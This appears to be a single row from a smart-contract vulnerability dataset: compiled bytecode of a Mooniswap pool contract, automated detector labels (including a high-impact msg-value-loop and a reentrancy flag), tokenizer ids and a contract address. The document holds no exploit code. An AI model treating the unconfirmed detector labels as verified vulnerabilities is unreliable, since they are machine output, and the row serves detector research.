83833361137e565b6016602052600090815260409020546001600160d81b03811690600160d81b900464ffffffffff1682565b336000818152600f60209081526040918290208251918201909252905481526117879190610fc3613866565b565b6015602052600090815260409020546001600160d81b03811690600160d81b900464ffffffffff1682565b6001600160a01b031660009081526020819052604090205490565b6117d7612fd3565b60055461010090046001600160a01b0390811691161461183e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36005805474ffffffffffffffffffffffffffffffffffffffff0019169055565b600260065414156118f3576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655611900612fd3565b60055461010090046001600160a01b03908116911614611967576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600061199c6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630613622565b905060006119d36001600160a01b037f00000000000000000000000077777feddddffc19ff86db637967013e6c6a116c1630613622565b90506119e96001600160a01b038516338561375e565b81611a1d6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630613622565b1015611a70576040805162461bcd60e51b815260206004820152601860248201527f4d6f6f6e69737761703a206163636573732064656e6965640000000000000000604482015290519081900360640190fd5b80611aa46001600160a01b037f00000000000000000000000077777feddddffc19ff86db637967013e6c6a116c1630613622565b1015611af7576040805162461bcd60e51b815260206004820152601860248201527f4d6f6f6e69737761703a206163636573732064656e6965640000000000000000604482015290519081900360640190fd5b6103e8611b03306117b4565b1015611b56576040805162461bcd60e51b815260206004820152601860248201527f4d6f6f6e69737761703a206163636573732064656e6965640000000000000000604482015290519081900360640190fd5b505060016006555050565b6007546001600160a01b038281166000908152601360209081526040808320815192830190915254815290926110799216631845f0db613881565b60055461010090046001600160a01b031690565b336000818152600b6020908152604091829020825191820190925290548152611787919061112c613866565b6007546001600160a01b038281166000908152600f602090815260408083208151928301909152548152909261107992166323662bb9613881565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f2f5780601f10610f0457610100808354040283529160200191610f2f565b6007546001600160a01b038281166000908152600b60209081526040808320815192830190915254815290926110799216635a6c72d0613881565b6000611cbd6150ab565b60026006541415611d15576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655611d226150ab565b50604080518082019091526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811682527f00000000000000000000000077777feddddffc19ff86db637967013e6c6a116c166020820152611d9b8160005b60200201516001600160a01b03166138f7565b611dc057611daa816001611d88565b611db5576000611dbb565b60208601515b611dc3565b85515b3414611e16576040805162461bcd60e51b815260206004820152601c60248201527f4d6f6f6e69737761703a2077726f6e672076616c756520757361676500000000604482015290519081900360640190fd5b6000611e206111c7565b905080611fac57611e346103e860636136c3565b9350611e42306103e8613904565b60005b6002811015611fa657611e6885898360028110611e5e57fe5b60200201516139f4565b94506000888260028110611e7857fe5b602002015111611ecf576040805162461bcd60e51b815260206004820152601960248201527f4d6f6f6e69737761703a20616d6f756e74206973207a65726f00000000000000604482015290519081900360640190fd5b868160028110611edb57fe5b6020020151888260028110611eec57fe5b60200201511015611f44576040805162461bcd60e51b815260206004820181905260248201527f4d6f6f6e69737761703a206d696e416d6f756e74206e6f742072656163686564604482015290519081900360640190fd5b611f7c33308a8460028110611f5557fe5b6020020151868560028110611f6657fe5b60200201516001600160a01b0316929190613a0b565b878160028110611f8857fe5b6020020151848260028110611f9957fe5b6020020152600101611e45565b506122bf565b611fb46150ab565b60005b600281101561202257612009611fd2858360028110611d8857fe5b611fdd576000611fdf565b345b61200330878560028110611fef57fe5b60200201516001600160a01b031690613622565b906137c7565b82826002811061201557fe5b6020020152600101611fb7565b50600019945060005b60028110156120765761206c8661206784846002811061204757fe5b60200201516114b48d866002811061205b57fe5b602002015188906136c3565b613b97565b955060010161202b565b508460005b60028110156122035760008a826002811061209257fe5b6020020151116120e9576040805162461bcd60e51b815260206004820152601960248201527f4d6f6f6e69737761703a20616d6f756e74206973207a65726f00000000000000604482015290519081900360640190fd5b6000612117856114b4600188036121118789886002811061210657fe5b6020020151906136c3565b906134cc565b905089826002811061212557fe5b602002015181101561217e576040805162461bcd60e51b815260206004820181905260248201527f4d6f6f6e69737761703a206d696e416d6f756e74206e6f742072656163686564604482015290519081900360640190fd5b612190333083898660028110611f6657fe5b6121b484836002811061219f57fe5b602002015161200330898660028110611fef57fe5b8783600281106121c057fe5b60200201526121f8886120678685600281106121d857fe5b60200201516114b48b87600281106121ec57fe5b60200201518a906136c3565b97505060010161207b565b50600061220e611624565b905060005b60028110156122ba576122828285836002811061222c57fe5b602002015161223b888c6134cc565b88601660008c886002811061224c57fe5b60200201516001600160a01b03166001600160a01b0316815260200190815260200160002061380990949392919063ffffffff16565b6122b28285836002811061229257fe5b60200201516122a1888c6134cc565b88601560008c886002811061224c57fe5b600101612213565b505050505b60008411612314576040805162461bcd60e51b815260206004820152601f60248201527f4d6f6f6e69737761703a20726573756c74206973206e6f7420656e6f75676800604482015290519081900360640190fd5b61231e8585613904565b825160208085015160408051888152928301939093528183015290516001600160a01b0387169133917f8bab6aed5a508937051a144e61d6e61336834a66aaee250a00613ae6f744c4229181900360600190a3505060016006559094909350915050565b600061107561238f612fd3565b8461127e8560405180606001604052806025815260200161530260259139600160006123b9612fd3565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906133b2565b60006110756123f7612fd3565b8484613257565b60408051600280825260608083018452926020830190803683370190505090507f00000000000000000000000000000000000000000000000000000000000000008160008151811061244c57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000077777feddddffc19ff86db637967013e6c6a116c8160018151811061249a57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505090565b6014602052600090815260409020546fffffffffffffffffffffffffffffffff8082169170010000000000000000000000000000000090041682565b612501612fd3565b60055461010090046001600160a01b03908116911614612568576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600780547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038316179055604080517f93028d83000000000000000000000000000000000000000000000000000000008152905130916393028d8391600480830192600092919082900301818387803b1580156125ec57600080fd5b505af1158015612600573d6000803e3d6000fd5b50505050306001600160a01b0316636669302a6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561263f57600080fd5b505af1158015612653573d6000803e3d6000fd5b50505050306001600160a01b031663f76d13b46040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561269257600080fd5b505af11580156126a6573d6000803e3d6000fd5b5050505050565b7f00000000000000000000000077777feddddffc19ff86db637967013e6c6a116c81565b60006126e18686868686336127e4565b9695505050505050565b6000806127016001600160a01b03841630613622565b90506111ff61275b612711611624565b6001600160a01b0386166000908152601560209081526040918290208251808401909352546001600160d81b0381168352600160d81b900464ffffffffff16908201529084613ba6565b826139f4565b6007546001600160a01b031681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b604080516060810182526008546001600160681b038082168352600160681b8204166020830152600160d01b900465ffffffffffff169181019190915260009061132b90613449565b60006002600654141561283e576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655600754604080517f22f3e2d400000000000000000000000000000000000000000000000000000000815290516001600160a01b03909216916322f3e2d491600480820192602092909190829003018186803b1580156128a157600080fd5b505afa1580156128b5573d6000803e3d6000fd5b505050506040513d60208110156128cb57600080fd5b505161291e576040805162461bcd60e51b815260206004820152601b60248201527f4d6f6f6e69737761703a20666163746f72792073687574646f776e0000000000604482015290519081900360640190fd5b612930876001600160a01b03166138f7565b61293b57600061293d565b845b3414612990576040805162461bcd60e51b815260206004820152601c60248201527f4d6f6f6e69737761703a2077726f6e672076616c756520757361676500000000604482015290519081900360640190fd5b6129986150c9565b60405180604001604052806129d86129b88b6001600160a01b03166138f7565b6129c35760006129c5565b345b6120036001600160a01b038d1630613622565b81526020016129f06001600160a01b038a1630613622565b9052905060006129fe6150c9565b612a066150c9565b6040518060400160405280612a1961279b565b8152602001612a266112e2565b90529050612a398b8b8b8b8a8987613c01565b8094508197508295505050508a6001600160a01b0316866001600160a01b0316336001600160a01b03167fbd99c6719f088aa0abd9e7b7a4a635d1f931601e9f304b538dc42be25d8c65c68d878a886000015189602001518f60405180876001600160a01b03168152602001868152602001858152602001848152602001838152602001826001600160a01b03168152602001965050505050505060405180910390a4612ae98386898785613e84565b50506001600160a01b03909816600090815260146020526040902080547001000000000000000000000000000000006fffffffffffffffffffffffffffffffff808316909b018b167fffffffffffffffffffffffffffffffff00000000000000000000000000000000909216919091178181048b1685018b1690910299169890981790975560016006559695505050505050565b600080612b936001600160a01b03841630613622565b90506111ff612bed612ba3611624565b6001600160a01b0386166000908152601660209081526040918290208251808401909352546001600160d81b0381168352600160d81b900464ffffffffff16908201529084613ba6565b82613b97565b61012c811115612c4a576040805162461bcd60e51b815260206004820152601d60248201527f446563617920706572696f6420766f746520697320746f6f2068696768000000604482015290519081900360640190fd5b603c811015612ca0576040805162461bcd60e51b815260206004820152601c60248201527f446563617920706572696f6420766f746520697320746f6f206c6f7700000000604482015290519081900360640190fd5b3360008181526013602090815260409182902082519182019092529054815261105e9190612ccd84612f46565b612cd6336117b4565b612cde6111c7565b600760009054906101000a90046001600160a01b03166001600160a01b0316631845f0db6040518163ffffffff1660e01b815260040160206040518083038186803b158015612d2c57600080fd5b505afa158015612d40573d6000803e3d6000fd5b505050506040513d6020811015612d5657600080fd5b505160109594939291906143af612fb8565b6008546001600160681b0380821692600160681b830490911691600160d01b900465ffffffffffff1690565b612d9c612fd3565b60055461010090046001600160a01b03908116911614612e03576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116612e485760405162461bcd60e51b81526004018080602001828103825260268152602001806151b76026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b336000818152601360209081526040918290208251918201909252905481526117879190612ccd613866565b6000600160681b8210612f42576040805162461bcd60e51b815260206004820152601e60248201527f76616c756520646f6573206e6f742066697420696e2031303420626974730000604482015290519081900360640190fd5b5090565b612f4e6150e3565b506040805160208101909152600182018152919050565b60408051848152831515602082015280820183905290516001600160a01b038616917fce0cf859d853e1944032294143a1bf3ad799998ae77acbeb6c4d9b20d6910240919081900360600190a250505050565b612fc9888888888889898989614402565b5050505050505050565b3390565b6001600160a01b03831661301c5760405162461bcd60e51b81526004018080602001828103825260248152602001806152b46024913960400191505060405180910390fd5b6001600160a01b0382166130615760405162461bcd60e51b81526004018080602001828103825260228152602001806151dd6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60408051848152831515602082015280820183905290516001600160a01b038616917fe117cae46817b894b41a4412b73ae0ba746a5707b94e02d83b4c6502010b11ac919081900360600190a250505050565b6000866001600160a01b0316886001600160a01b03161115613136579596955b60008611801561317757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316886001600160a01b0316145b80156131b457507f00000000000000000000000077777feddddffc19ff86db637967013e6c6a116c6001600160a01b0316876001600160a01b0316145b1561324c5760006131db6131d4670de0b6b3a76400006114b48a886136c3565b88906137c7565b905060006131e987836134cc565b905060006131fb826114b4858a6136c3565b9050600061321e61320c87866136c3565b612003670de0b6b3a7640000866136c3565b90506000613234670de0b6b3a7640000856136c3565b9050613244816114b485856136c3565b955050505050505b979650505050505050565b6001600160a01b03831661329c5760405162461bcd60e51b815260040180806020018281038252602581526020018061528f6025913960400191505060405180910390fd5b6001600160a01b0382166132e15760405162461bcd60e51b81526004018080602001828103825260238152602001806151726023913960400191505060405180910390fd5b6132ec838383614626565b613329816040518060600160405280602681526020016151ff602691396001600160a01b03861660009081526020819052604090205491906133b2565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461335890826134cc565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156134415760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156134065781810151838201526020016133ee565b50505050905090810190601f1680156134335780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008061347262015180612067856040015165ffffffffffff16426137c790919063ffffffff16565b9050600061348362015180836137c7565b90506134c4620151806114b46134af8588602001516001600160681b03166136c390919063ffffffff16565b8751612111906001600160681b0316866136c3565b949350505050565b6000828201838110156111ff576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03821661356b5760405162461bcd60e51b815260040180806020018281038252602181526020018061526e6021913960400191505060405180910390fd5b61357782600083614626565b6135b481604051806060016040528060228152602001615195602291396001600160a01b03851660009081526020819052604090205491906133b2565b6001600160a01b0383166000908152602081905260409020556002546135da90826137c7565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600061362d836138f7565b1561364357506001600160a01b03811631611079565b826001600160a01b03166370a08231836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561369057600080fd5b505afa1580156136a4573d6000803e3d6000fd5b505050506040513d60208110156136ba57600080fd5b50519050611079565b6000826136d257506000611079565b828202828482816136df57fe5b04146111ff5760405162461bcd60e51b81526004018080602001828103825260218152602001806152256021913960400191505060405180910390fd5b60006111ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614911565b80156137c25761376d836138f7565b156137ae576040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156137a8573d6000803e3d6000fd5b506137c2565b6137c26001600160a01b0384168383614976565b505050565b60006111ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506133b2565b6126a685613861836114b461381f8260016137c7565b604080518082019091528b546001600160d81b0381168252600160d81b900464ffffffffff16602082015261211190899061385b908d8d613ba6565b906136c3565b6149f6565b61386e6150e3565b5060408051602081019091526000815290565b82516000901561389757508251600019016111ff565b82826040518163ffffffff1660e01b815260040160206040518083038186803b1580156138c357600080fd5b505afa1580156138d7573d6000803e3d6000fd5b505050506040513d60208110156138ed57600080fd5b5051949350505050565b6001600160a01b03161590565b6001600160a01b03821661395f576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61396b60008383614626565b60025461397890826134cc565b6002556001600160a01b03821660009081526020819052604090205461399e90826134cc565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600081831015613a0457816111ff565b5090919050565b8015613b9157613a1a846138f7565b15613b7c5780341015613a74576040805162461bcd60e51b815260206004820152601a60248201527f556e6945524332303a206e6f7420656e6f7567682076616c7565000000000000604482015290519081900360640190fd5b6001600160a01b0383163314613ad1576040805162461bcd60e51b815260206004820152601660248201527f66726f6d206973206e6f74206d73672e73656e64657200000000000000000000604482015290519081900360640190fd5b6001600160a01b0382163014613b2e576040805162461bcd60e51b815260206004820152600e60248201527f746f206973206e6f742074686973000000000000000000000000000000000000604482015290519081900360640190fd5b80341115613b77576001600160a01b0383166108fc613b4d34846137c7565b6040518115909202916000818181858888f19350505050158015613b75573d6000803e3d6000fd5b505b613b91565b613b916001600160a01b038516848484614a53565b50505050565b6000818310613a0457816111ff565b600080613bcb84612067876020015164ffffffffff16426137c790919063ffffffff16565b90506000613bd985836137c7565b90506126e1856114b4613bec87866136c3565b8951612111906001600160d81b0316866136c3565b600080613c0c6150c9565b6000613c16611624565b86516001600160a01b038d166000908152601560209081526040918290208251808401909352546001600160d81b0381168352600160d81b900464ffffffffff1690820152919250613c6a91908390613ba6565b8083528651613c7991906139f4565b82526020868101516001600160a01b038c166000908152601683526040908190208151808301909252546001600160d81b0381168252600160d81b900464ffffffffff1692810192909252613cd091908390613ba6565b6020808401829052870151613ce59190613b97565b6020830152613cff6001600160a01b038c1633308c613a0b565b8551613d18906120036001600160a01b038e1630613622565b9350613d398b8b86856000015186602001518a600001518b60200151613116565b9250600083118015613d4b5750878310155b613d9c576040805162461bcd60e51b815260206004820152601f60248201527f4d6f6f6e69737761703a2072657475726e206973206e6f7420656e6f75676800604482015290519081900360640190fd5b613db06001600160a01b038b16888561375e565b8551825114613de7578151613de790613dc990866134cc565b6001600160a01b038d166000908152601560205260409020906149f6565b8560200151826020015114613e27576020820151613e2790613e0990856137c7565b6001600160a01b038c166000908152601660205260409020906149f6565b85516001600160a01b038c166000908152601660205260409020613e4c918390614adb565b6020808701516001600160a01b038c16600090815260159092526040909120613e76918390614adb565b509750975097945050505050565b600080600080600760009054906101000a90046001600160a01b03166001600160a01b031663172886e76040518163ffffffff1660e01b815260040160806040518083038186803b158015613ed857600080fd5b505afa158015613eec573d6000803e3d6000fd5b505050506040513d6080811015613f0257600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190505050935093509350935060008060006ec097ce7bc90715b34b9f10000000009050613f7989600001516114b4613f728f8d600001516134cc90919063ffffffff16565b84906136c3565b60208a0151909150613f92906114b4613f72828f6137c7565b90506ec097ce7bc90715b34b9f100000000081111561434357613fb481614b17565b90506000613fd9826114b4613fd182670de0b6b3a76400006137c7565b61385b6111c7565b90506001600160a01b038b16613ff0576000614006565b614006670de0b6b3a76400006114b4838b6136c3565b93506001600160a01b03861661401d576000614033565b614033670de0b6b3a76400006114b4838a6136c3565b92506001600160a01b038516614068578315614053576140538b85613904565b8215614063576140638684613904565b614341565b60008411806140775750600083115b1561434157600080841161408c57600061408f565b60015b6000861161409e5760006140a1565b60015b0160ff16905060608167ffffffffffffffff811180156140c057600080fd5b506040519080825280602002602001820160405280156140ea578160200160208202803683370190505b50905060608267ffffffffffffffff8111801561410657600080fd5b50604051908082528060200260200182016040528015614130578160200160208202803683370190505b5090508d8260008151811061414157fe5b60200260200101906001600160a01b031690816001600160a01b031681525050868160008151811061416f57fe5b602090810291909101015285156141cd578882600185038151811061419057fe5b60200260200101906001600160a01b031690816001600160a01b031681525050858160018503815181106141c057fe5b6020026020010181815250505b604080517f0931753c000000000000000000000000000000000000000000000000000000008152600481019182528351604482015283516001600160a01b038b1692630931753c92869286929182916024820191606401906020808801910280838360005b8381101561424a578181015183820152602001614232565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015614289578181015183820152602001614271565b50505050905001945050505050600060405180830381600087803b1580156142b057600080fd5b505af19250505080156142c1575060015b61432a576040805160208082526016908201527f757064617465526577617264732829206661696c6564000000000000000000008183015290517f08c379a0afcc32b1a39302f7cb8073359698411ab5fd6e3edb2c02c0b5fba8aa9181900360600190a161433d565b61433d8861433889896134cc565b613904565b5050505b505b88516020808b01518a518b83015160408051958652938501929092528383015260608301526080820185905260a08201849052517f2a368c7f33bb86e2d999940a3989d849031aff29b750f67947e6b8e8c3d2ffd69181900360c00190a1505050505050505050505050565b60408051848152831515602082015280820183905290516001600160a01b038616917fd0784d105a7412ffec29813ff8401f04f3d1cdbe6aca756974b1a31f830e5cb7919081900360600190a250505050565b600189015460028a01548190806144188b614b71565b1561442e57614427818a6137c7565b905061444f565b61444c61444561443e8d89614b76565b8b906136c3565b84906137c7565b92505b6144588a614b71565b1561446e5761446781896134cc565b905061448f565b61448c61448561447e8c89614b76565b8a906136c3565b84906134cc565b92505b83831461449e5760018d018390555b8181146144ad5760028d018190555b600087156144d2576144cd886114b46144c6858b6136c3565b87906134cc565b6144d4565b865b90506144de6150f6565b50604080516060810182528f546001600160681b038082168352600160681b82041660208301819052600160d01b90910465ffffffffffff16928201929092529082146145c6578e61453761453283613449565b612ee8565b61454084612ee8565b61454942614b92565b835479ffffffffffffffffffffffffffffffffffffffffffffffffffff16600160d01b65ffffffffffff9290921691909102177fffffffffffff00000000000000000000000000ffffffffffffffffffffffffff16600160681b6001600160681b0392831602176cffffffffffffffffffffffffff191691161790555b506145d390508a8c614bef565b6145f6576001600160a01b038c16600090815260038e01602052604090208a5190555b6146178c6146048c89614b76565b61460d8d614b71565b8b8963ffffffff16565b50505050505050505050505050565b816001600160a01b0316836001600160a01b03161415614645576137c2565b6007546001600160a01b0390811690600090851615806146da5750816001600160a01b0316633b90b9bf866040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156146ad57600080fd5b505afa1580156146c1573d6000803e3d6000fd5b505050506040513d60208110156146d757600080fd5b50515b15905060006001600160a01b038516158061476a5750826001600160a01b0316633b90b9bf866040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561473d57600080fd5b505afa158015614751573d6000803e3d6000fd5b505050506040513d602081101561476757600080fd5b50515b15905081158015614779575080155b15614786575050506137c2565b60006001600160a01b03871661479d5760006147a6565b6147a6876117b4565b905060006001600160a01b0387166147bf5760006147c8565b6147c8876117b4565b9050600061480a6001600160a01b038916156147e55760006147e7565b875b6120036001600160a01b038c1615614800576000614802565b895b6121116111c7565b9050614814615116565b6040518061010001604052808b6001600160a01b031681526020018a6001600160a01b03168152602001871515815260200186151581526020018981526020018581526020018481526020018381525090506000806000896001600160a01b031663edb7a6fa6040518163ffffffff1660e01b815260040160606040518083038186803b1580156148a457600080fd5b505afa1580156148b8573d6000803e3d6000fd5b505050506040513d60608110156148ce57600080fd5b508051602082015160409092015190945090925090506148f384846130c36008614bf6565b6149028483612f65600c614bf6565b61461784826143af6010614bf6565b600081836149605760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156134065781810151838201526020016133ee565b50600083858161496c57fe5b0495945050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001790526137c2908490614d70565b6149ff81614e21565b614a0842614e7b565b83546001600160d81b0392831664ffffffffff909216600160d81b029216919091177fffffffffff000000000000000000000000000000000000000000000000000000161790915550565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd00000000000000000000000000000000000000000000000000000000179052613b91908590614d70565b6040805180820190915283546001600160d81b0381168252600160d81b900464ffffffffff1660208201526137c2908490613861908585613ba6565b60006003821115614b5b5781600160028204015b81811015614b5357809150600281828681614b4257fe5b040181614b4b57fe5b049050614b2b565b509050611718565b8115614b6957506001611718565b506000611718565b511590565b815160009015614b8c5750815160001901611079565b50919050565b600066010000000000008210612f42576040805162461bcd60e51b815260206004820152601d60248201527f76616c756520646f6573206e6f742066697420696e2034382062697473000000604482015290519081900360640190fd5b5190511490565b614bfe6150e3565b5083516001600160a01b03166000908152600382016020908152604091829020825191820190925290548152614c326150e3565b506020808601516001600160a01b031660009081526003840182526040908190208151928301909152548152614c6782614b71565b8015614c775750614c7781614b71565b8015614c84575085604001515b8015614c91575085606001515b15614d03578551614ccc90614ca68488614b76565b6001614cc38a608001518b60a001516137c790919063ffffffff16565b8863ffffffff16565b6020860151614cfc90614cdf8388614b76565b6001614cc38a608001518b60c001516134cc90919063ffffffff16565b5050613b91565b856040015115614d3d57855160a08701516080880151614d3d92918591614d2b9082906137c7565b60e08b01518894939291908b8b614ed7565b856060015115614d6857602086015160c08701516080880151614d6892918491614d2b9082906134cc565b505050505050565b6060614dc5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316614efb9092919063ffffffff16565b8051909150156137c257808060200190516020811015614de457600080fd5b50516137c25760405162461bcd60e51b815260040180806020018281038252602a8152602001806152d8602a913960400191505060405180910390fd5b6000600160d81b8210612f42576040805162461bcd60e51b815260206004820152601e60248201527f76616c756520646f6573206e6f742066697420696e2032313620626974730000604482015290519081900360640190fd5b6000650100000000008210612f42576040805162461bcd60e51b815260206004820152601d60248201527f76616c756520646f6573206e6f742066697420696e2034302062697473000000604482015290519081900360640190fd5b612fc98888888715614ee95789614ef1565b614ef1613866565b8989898989614402565b60606111fc84846000856060614f1085615072565b614f61576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310614fa05780518252601f199092019160209182019101614f81565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114615002576040519150601f19603f3d011682016040523d82523d6000602084013e615007565b606091505b5091509150811561501b5791506134c49050565b80511561502b5780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156134065781810151838201526020016133ee565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906134c4575050151592915050565b60405180604001604052806002906020820280368337509192915050565b604051806040016040528060008152602001600081525090565b6040518060200160405280600081525090565b604080516060810182526000808252602082018190529181019190915290565b60405180610100016040528060006001600160a01b0316815260200160006001600160a01b0316815260200160001515815260200160001515815260200160008152602001600081526020016000815260200160008152509056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f5acfd09e87c0e0c91649c917b687b73362797cc26a1c21a7d92ee5d568457a464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'msg-value-loop', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 2575, 2094, 26224, 2683, 2683, 2050, 17788, 2581, 28756, 2581, 16147, 2094, 2692, 2063, 17914, 24594, 2549, 2546, 2683, 2509, 10322, 2575, 2475, 2050, 2629, 2050, 21486, 2581, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 8785, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 2065, 4402, 26895, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,336
0x9696fea1121c938c861b94fcbee98d971de54b32
